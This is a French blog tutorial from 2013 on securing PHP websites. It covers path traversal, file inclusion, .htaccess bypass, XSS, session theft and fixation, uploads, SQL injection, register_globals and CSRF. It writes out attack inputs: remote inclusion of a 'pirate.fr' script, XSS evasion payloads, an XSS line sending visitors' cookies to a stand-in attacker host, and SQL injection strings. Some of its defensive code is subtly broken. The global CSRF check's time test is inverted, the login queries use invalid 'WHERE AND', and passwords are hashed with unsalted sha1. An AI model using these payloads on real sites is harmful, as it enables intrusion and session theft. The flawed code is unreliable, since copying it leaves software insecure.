Conseils de sécurité pour protéger son site internet

Introduction

Cet article vous présentera les conseils de base à respecter afin de pouvoir sécuriser son site internet contre les principales failles web.

Chaque type de failles sera accompagné d'au moins un exemple afin de vous permettre de mieux comprendre son fonctionnement et la nécessité à s'en protéger.

Conseils de base

Tout d'abord, si je peux vous donner quelques conseils à toujours respecter :

  • On ne doit jamais faire confiance à l'utilisateur. Tout ce qui provient du visiteur est à vérifier.
  • Préférer la politique du "tout interdire sauf ..." plutôt que du "tout autoriser sauf ...", ce qui permet de ne pas oublier certains cas à gérer.
  • Activer les messages d'erreurs (PHP, SQL, ...) seulement sur la version de développement.
  • Rien n'est à protéger en un langage client (JavaScript par exemple), l'utilisateur pourrait accéder au code source et donc outrepasser cette protection rapidement.

Faille URL

C'est la faille la plus connue. N'importe quel utilisateur peut changer une variable se trouvant dans l'URL.

Prenons pour exemple une page qui affiche la page d'accueil ou l'espace admin en fonction du paramètre admin :

1 http://www.abc.fr/index.php?admin=1

J'ai donné ici un exemple basique, mais prenons maintenant un exemple un peu plus répandu :

1 http://www.abc.fr/images.php?dir=images_2013

Cette page est censée lister les images du dossier images_2013. Or ce chemin est passé en paramètre : l'utilisateur peut alors tout à fait le modifier pour en venir à :

1 http://www.abc.fr/images.php?dir=../admin/

Il aura alors la liste de vos fichiers d'administration et en fonction du type de l'affichage, il pourra peut-être même voir leurs contenus (mot de passe de la base de données, ...).

Pour éviter ce genre de problème :

  • Pour accéder à votre espace d'administration, faites un formulaire de connexion POST puis utiliser les sessions plutôt que d'ajouter un paramètres dans l'URL.
  • Si vous avez peu de dossiers images, alors je vous conseille de vérifier que ce soit bien un des dossiers autorisés :
1 if (!in_array($_GET["dir"], array("images_2013", "images_2012", "images_noel")))
2 exit();

S'il y a plus de dossiers ou que vous souhaitez faire quelque chose de dynamique, il faudra alors faire une fonction qui permet de vérifier que votre paramètre est correct, et qu'il souhaite accéder à un espace autorisé. Une fonction PHP qui peut être utile dans ce cas : basename. Elle permet de retourner le nom du fichier dans un chemin : ../../mon/dossier/fichier.png retournera fichier.png. Cela permet donc de ne pas changer l’arborescence (c'est déjà un bon début, mais pas suffisant !).

C'est une faille extrêmement simple, mais beaucoup de sites y sont vulnérables.

Faille Include

Cette faille dépend de la faille URL. Voyons directement un exemple :

1 http://www.abc.fr/index.php?page=contact.php

Qui est censé dans votre code inclure la page contact.php :

1 include($_GET["page"]);

En fonction du type d'inclusion (include, filegetcontents, echo, ...), l'utilisateur peut faire deux types d'attaques :

  • Récupérer le contenu de vos fichiers :
1 http://www.abc.fr/index.php?page=config.php
2 http://www.abc.fr/index.php?page=../admin/index.php
  • Injecter son propre code PHP :
1 http://www.abc.fr/index.php?page=http://www.pirate.fr/hack.php

Ce fichier hack.php pourra effectuer tout un tas d'actions (supprimer vos fichiers, vous espionner, récupérer votre site entier, accéder à vos dossiers perso, ...).

Pour corriger ce problème :

  • Ne passez pas votre page en paramètre, créez une nouvelle page. Ça permet en plus de coder plus proprement.
  • Si vous êtes obligé de passer le nom du fichier en paramètre, alors vérifier ce nom de fichier par la même méthode que j'ai donné plus haut :
1 if (!in_array($_GET["page"], array("contact", "mentions_legales", "plan")))
2 exit();
  • Si la page a inclure n'est que du HTML, préferez la fonction filegetcontents plutôt que include et cie. Mais cela ne suffit pas pour empêcher l'utilisateur de voir le contenu de vos fichiers, il ne pourra juste pas exécuter d'actions à votre insu.

Attention ...

1 http://www.abc.fr/index.php?page=menu
2 ------
3 include($_GET["page"] . ".php");

... n'est pas mieux !

1 http://www.abc.fr/index.php?page=config
2 http://www.abc.fr/index.php?page=../admin/index
3 http://www.abc.fr/index.php?page=http://www.pirate.fr/hack

Faille Htaccess et Htpasswd

Passons maintenant à quelques failles un peu moins connues, mais qui peuvent être tout aussi intéressantes et dangereuses.

Ne surtout pas laisser accessible votre fichier .htpasswd (par exemple via la faille URL : ?directory=../../.htpasswd). Tout dépends de l'algorithme qui a été utilisé pour chiffrer/hasher votre mot de passe à l'intérieur de ce fichier.

Au mieux, votre mot de passe est hashé (MD5, SHA-1), il faudra alors au hacker faire une attaque par dictionnaire (ou si vous utilisez un mot de passe trop commun comme 1234, rechercher sur Google).

S'il n'est pas hashé, soit il est chiffré (et donc possible de le déchiffrer), soit il est affiché en clair.

Si votre visiteur accède à ce fichier, il pourra très certainement outrepasser votre protection !

Une faille plus intéressante maintenant, la propriété limit (Apache) :

1 <Limit GET POST>
2     Deny from all
3 </Limit>

Ce code (proposé sur de nombreux sites !) ne permet de restreindre que les types GET et POST.

Le visiteur a donc tout à fait la possibilité d'envoyer un requête XXXX par exemple. Il aura alors accès à votre espace protégé sans devoir entrer de mot de passe.

Pour envoyer un requête XXXX, on utilise souvent des plugins pour le navigateur. Il est aussi possible de le faire en ligne de commande (linux) grâce à netcat :

1 $> netcat www.abc.fr 80
2 XXXX / HTTP/1.1
3 Host:www.abc.fr

Les 2 retours à la ligne à la fin permettant d'envoyer la requête.

Pour corriger cette faille, il vous suffit de supprimer les 2 lignes englobant le Deny from all.

Faille XSS

Cette faille peut à première vue ne pas sembler dangereuse. Je vous donnerez plusieurs exemples en fur et à mesure de l'article vous prouvant le contraire.

Tout d'abord, qu'elle est le principe de cette faille ?

Le XSS (Cross-Site Scripting) permet d'injecter du code dans la page. Le code peut très bien être placé dans l'URL :

1 http://www.abc.fr/index.php?nom=Accueil
2 http://www.abc.fr/index.php?nom=<script>alert("hack")</script>

Mais aussi être incrusté dans votre site (système de commentaires, forum, ...) grâce par exemple aux BBCodes :

1 [image]javascript:<script>alert("hack")</script>[/image]

Certains pensent alors à supprimer <script> :

1 $texte = str_replace("<script>", "",$texte);

Mais n'est donc pas protégé par :

1 <scr<script>ipt>alert("hack")</scr<script>ipt>

... on obtient bien ce que l'on souhaitait.

De plus, il n'y a pas que la balise script qui permet de lancer des scripts JavaScript, comme dans l'exemple ci-dessus avec le BBCode Image :

1 <img src="javascript:alert('hack')"/>

Ou on peut très bien utiliser onmouseover, onload, ... sur n'importe quelle balise. On peut aussi très bien encoder le texte :

1 Base :
2 <script>alert("test")</script>
3 
4 En décimal :
5 &#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#116&#101&#115&#116&#34&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62
6 
7 Ou en hexadécimal :
8 &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x74;&#x65;&#x73;&#x74;&#x22;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

Ces codes sont équivalents. Pour encoder il existe plusieurs outils sur le web : http://ha.ckers.org/xsscalc.html.

Vous trouverez pas mal de techniques pour faire des attaques XSS sur : https://www.owasp.org/index.php/XSSFilterEvasionCheatSheet.

Pour se protéger, il faut vérifier toutes les données de l'utilisateur (les variables qui passent dans l'URL, ...) et surtout, encoder les caractères à l'affichage, avec par exemple la fonction PHP : htmlspecialchars.

Vous pouvez aussi utiliser des moteurs de template, tel que Twig, qui font la même chose, mais qui permettent d'ajouter du contenu dynamique plus facilement.

Pour le moment, il y a juste une fenêtre qui s'ouvre nous envoyant le message hack. Pas très utile pour le coup, mais on peut très bien rediriger tous les visiteurs de votre site sur une autre adresse ; récupérer toutes les adresses IP de vos visiteurs ainsi que leurs pseudos, mails, informations personnelles, ... s'ils sont connectés ; récupérer les cookies de vos visiteurs : nous allons voir l'utilité dans le prochain paragraphe.

Faille cookies / sessions

Pour commencer, une faille cookie toute simple : un cookie admin à 1 ou 0. Un cookie peut être modifié très facilement par les utilisateurs (plugins navigateur), et donc n'importe qui pourrait devenir admin en quelques secondes sur votre site. Utiliser plutôt les sessions.

Il m'est déjà arrivé de rencontrer un site qui, pour maintenir la connexion de ses utilisateurs, ajoutait leur user_id dans un cookie, et s'il n'était pas connecté et que ce cookie existait, il connectait automatiquement le compte. N'importe qui pouvait donc en modifiant ses cookies se connectés au compte de n'importe qui.

Si vous souhaitez faire un système qui reconnecte vos utilisateurs, sauvegarder le user_id et un hash (MD5, SHA-1, ...) aléatoire associé temporairement. Si l'utilisateur n'est pas connecté, alors connecté user_id si le hash correspond à celui associé à ce compte dans la BDD par exemple. Attention cependant à changer ce hash à chaque connexion, ou un vol de cookie (via la faille XSS par exemple) permettrait à n'importe qui de se connecter quand même.

Pour votre système d'utilisateurs, vous devez très certainement utiliser les sessions (je vous le recommande d'ailleurs). En fait, pour que le serveur sache à qui appartient la session, vous devez avoir un cookie PHPSESSID, qui contient une chaîne aléatoire : c'est votre id de session. Si vous le changez, vous ne serez plus connecté. Mais si vous le passez à une autre personne, il sera connecté comme vous l'êtes actuellement. Il y a deux solutions pour un pirate dans ce cas-là :

  • Soit récupérer votre PHPSESSID : et si vous avez une faille XSS sur votre site, c'est tout a fait possible de le récupérer :
1 http://www.monsite.com/index.php?name=<script>window.open("http://www.pirate.fr/index.php?cookie="%2Bdocument.cookie)</script>

Si vous êtes admin, et que vous fournissez votre session à un pirate, il sera alors connecté sur votre espace admin.

  • Soit le pirate vous force à utiliser le sien. Il récupère son PHPSESSID et s'arrange pour que vous vous rendiez sur :
1 http://monsite.fr/index.php?PHPSESSID=XXXXXXXXXXXXXXXXXXXXXXXXXXX

Il n'a plus qu'à attendre que de votre côté vous vous connectiez à l'espace admin, et il le sera automatiquement lui aussi.

Il n'y a pas vraiment de protection contre la récupération de votre PHPSESSID : vous devez simplement empêcher quiconque de regarder vos cookies, et donc vous protéger contre les failles XSS.

Pour le deuxième point (on appelle cette méthode la fixation), vous pouvez dans la config de PHP passer session.uses-only-cookie à 1 (php.ini). Cela empêche de modifier l'id de la session depuis le paramètre GET. Une deuxième protection serait d'utiliser la fonction sessionregenerateid à chaque fois que vous vous connectez. Cette fonction a pour effet de générer un nouveau PHPSESSID. De plus, si vous passez true en paramètre, l'ancien PHPSESSID sera supprimé.

Faille Upload

Ajouter un système d'upload sur votre site n'est pas toujours facile, il faut bien penser à tout sécuriser :

  • Pour commencer, le nom. Faites un basename dessus, cela empêchera l'utilisateur de créer des sous dossiers, ou d'enregistrer ailleurs son fichier. Imaginez que son fichier se nomme ../hack.php. Lorsque vous allez l'enregistrez dans ./files/, il va s'enregistrer à la racine : la protection que vous aurez mis sur le dossier files ne sera donc pas appliquée à ce fichier.
  • Vérifier que l'extension du fichier est correcte. Vous pouvez utiliser la fonction pathinfo pour récupérer l'extension, puis utilisez ensuite in_array pour vérifier qu'elle se trouve dans la liste des extensions autorisées.
  • Vérifier l'extension ne permet pas d'être sûr du type du fichier. Un fichier xxxxxx.png n'est pas forcément une image. Pour cela, il faut vérifier le Content-Type du fichier. Le navigateur de l'utilisateur vous envoi le Content-Type du fichier, mais ce n'est pas une source sûr ! Une fois de plus, avec des addons, il peut très bien modifier le Content-Type à envoyer. Pour le vérifier, utiliser la librairie finfo :
1 $finfo = finfo_open(FILEINFO_MIME_TYPE);
2 $content_type = finfo_file($finfo, $_FILES['photo']['tmp_name']);
3 if (in_array($content_type, array("image/png", "image/jpg", "image/jpeg", "image/gif")))
4 {
5     // Content-Type correct
6 }
  • Pensez aussi à vérifier la taille du fichier avec la fonction filesize.

Faille headers

La plupart des informations présentes dans les headers de la page ne sont pas sûres.

Le navigateur, le referer, ... ne sont pas des informations sûres, n'en tenez pas compte pour protéger votre site.

L'adresse IP ne peut pas être modifié (c'est l'adresse où la page a été demandée). Mais si vous bannissez l'IP d'une personne, sachez qu'elle pourra toujours revenir, en passant par des proxy ou des VPN. Ce ne sera pas la même adresse IP, mais ce sera bien la même personne.

Pour les uploads, comme je vous l'ai dit plus haut, il ne faut pas se fier non plus aux informations fournies (Content-Type, ...).

Faille injection SQL

Lorsque vous intéragissez avec votre base de données, vous envoyer ce que l'on appelle des requêtes. Si vous souhaitez récupérez le contenu d'un article, vous allez surement faire une requête du style :

1 $req = "SELECT id, nom, description, contenu FROM articles WHERE id = " . $_GET['id_article'];

Cet id_article est censé être un nombre, mais imaginez qu'à la place, votre utilisateur envoi :

1 1 UNION SELECT id, user, password, mail FROM users

On obtiendrait alors cette requête :

1 SELECT id, nom, description, contenu FROM articles WHERE id = 1 UNION SELECT id, user, password, mail FROM users

Qui du coup, en plus d'afficher votre article, affichera la liste des utilisateurs avec leurs mots de passes et leurs E-Mails.

Un autre type d'injection SQL est lors de la connexion :

1 $req = "SELECT id FROM users WHERE AND user = '" . $_POST['user'] . "' AND password = '" . $_POST['pass'] . "' LIMIT 1";

Si l'utilisateur envoi :

1 Cas 1 :
2 POST['user'] = ' OR '1' = '1
3 POST['pass'] = ' OR '1' = '1
4 
5 Cas 2 :
6 POST['user'] = admin
7 POST['pass'] = ' OR 1 = 1#

On obtiendra :

1 Cas 1 :
2 SELECT id FROM users WHERE AND user = '' OR '1' = '1' AND password = '' OR '1' = '1' LIMIT 1
3 
4 Cas 2 :
5 SELECT id FROM users WHERE AND user = 'admin' AND password = '' OR 1 = 1#' LIMIT 1

Vu que 1 = 1 est toujours vrai, dans les deux cas l'utilisateur va être connecté.

Remarque : # permet de mettre la suite de la requête en commentaire.

Vous l'aurez compris, pour se protéger contre cette faille, il faut échapper les caractères spéciaux des chaînes. La meilleure solution est d'utiliser les requêtes préparées. Je vous donne un exemple d'une requête préparée en PDO (PHP) :

1 $query = $bdd->prepare('SELECT id
2     FROM users
3     WHERE nom = :nom
4     AND password = :password
5     LIMIT 1');
6 $query->bindValue(':nom', $_POST["user"], PDO::PARAM_STR);
7 $query->bindValue(':password', sha1($_POST["password"]), PDO::PARAM_STR);
8 $query->execute();
9 $result = $query->fetchColumn();

Faille des variables supers-globales

Les Register_globals sont supprimés de PHP depuis la version 5.4.

Cette option permet de créer automatiquement les paramètres en variables.

Si vous allez sur http://www.abc.fr/index.php?admin=1, alors une variable $admin sera créée et initialisée à 1.

Du coup si la page ci-dessus est :

1 if (is_admin()) // Fonction permettant de vérifier que l'utilisateur est connecté en tant qu'admin
2     $admin = 1;
3 
4 if ($admin)
5     //...

Vous serez connecté, même si la fonction is_admin a retourné false.

On va avoir accès à l'espace admin.

Pour pallier à ce problème, vous pouvez désactiver les Register_globals, mais vous pouvez (devriez) aussi initialiser vos variables :

1 $admin = 0;
2 if (is_admin()) // Fonction permettant de vérifier que l'utilisateur est connecté en tant qu'admin
3     $admin = 1;
4 
5 if ($admin)
6     //...

Faille CSRF

La faille CSRF (Cross-Site Request Forgery) permet de forcer l'exécution d'une page à un visiteur.

Imaginez que dans votre espace d'admin, pour supprimer un article de votre blog, il suffise de visiter :

1 http://www.monsite.com/admin/blog.php?delete=5

Vous vous dites, pas de soucis, seuls ceux connectés en tant qu'admin pourront supprimer l'article, et vous aurez raison (enfin en admettant que le reste de votre site soit sécurisé).

Mais si maintenant un pirate vous force à visiter cette page ? Prenons l'exemple d'un commentaire sur votre site, ou même un forum quelconque sur internet, où le pirate poste un message en ajoutant une image (BBCode Img) :

1 [img]http://www.monsite.com/admin/blog.php?delete=5[/img]

Lors de votre visite sur la page où se trouve ce message, votre navigateur va demander à charger l'image, et va donc appeler la page. Vous serez surement encore connecté, et donc l'article sera supprimé sans que vous vous en rendiez compte.

J'ai pris ici l'exemple de la suppression d'un article, mais cette technique est valable pour n'importe quelle action :

1 http://www.monsite.com/vote.php?pour=aurelien
2 => Tout les utilisateurs accédant au message vont charger cette page, et vont donc tous voter pour Aurélien. :)

Pour se protéger contre cette faille, il va falloir vérifier que c'est bien le bon utilisateur qui exécute cette action.

Le principe de cette protection est de générer un long numéro aléatoire (censé être unique) avant l'action, et de vérifier au moment de l'action que ce numéro est correct.

1 $token = md5(uniqid(rand(), true));
2 $_SESSION['token'] = $token;
3 $_SESSION['token_time'] = time();
1 http://www.monsite.com/admin/blog.php?delete=5
2 ... devient donc :
3 http://www.monsite.com/admin/blog.php?delete=5&token=c6eb512d840ee236950ab17c6c128ec5

Il faut donc ensuite ajouter une vérification supplémentaire avant d'exécuter l'action :

1 if ($_GET['token'] == $_SESSION['token'] && time() - $_SESSION['token_time'] <= 300)
2 {
3     // Exécution de l'action
4 }

Je n'ai montré des exemples que par la méthode GET, mais la méthode POST est tout aussi dangereuse. Le principe est exactement le même.

Je vous conseille d'ailleurs de n'exécuter que des actions via les méthodes POST. Selon moi, les méthodes GET sont là pour aller chercher la bonne page a exécutée, et les méthodes POST pour faire des actions.

Si vous ne souhaitez pas faire cette vérification à chaque action ou si vous avez peur de l'oublier pour une action, vous pouvez très bien ajouter ce code au tout début de vos pages :

1 if (!isset($_POST['token']) || !isset($_SESSION['token']) || !isset($_SESSION['token_time']) || $_POST['token'] != $_SESSION['token'] || time() - $_SESSION['token_time'] <= 300)
2     $_POST = array();

Afin de se protéger au maximum de cette faille, je vous conseille de générer un nouveau token dès qu'une action a été effectuée.

Conclusion

J'espère que cet article vous a plu. Je pense avoir fait le tour des principales failles web.

Si vous avez à l'esprit une faille web qui vous semble importante, n'hésitez pas à ajouter un nouveau commentaire.


PHP MySQL PDO Twig Sécurité XSS CSRF Injection SQL

Article publié le 30 Avril 2013.

Commentaires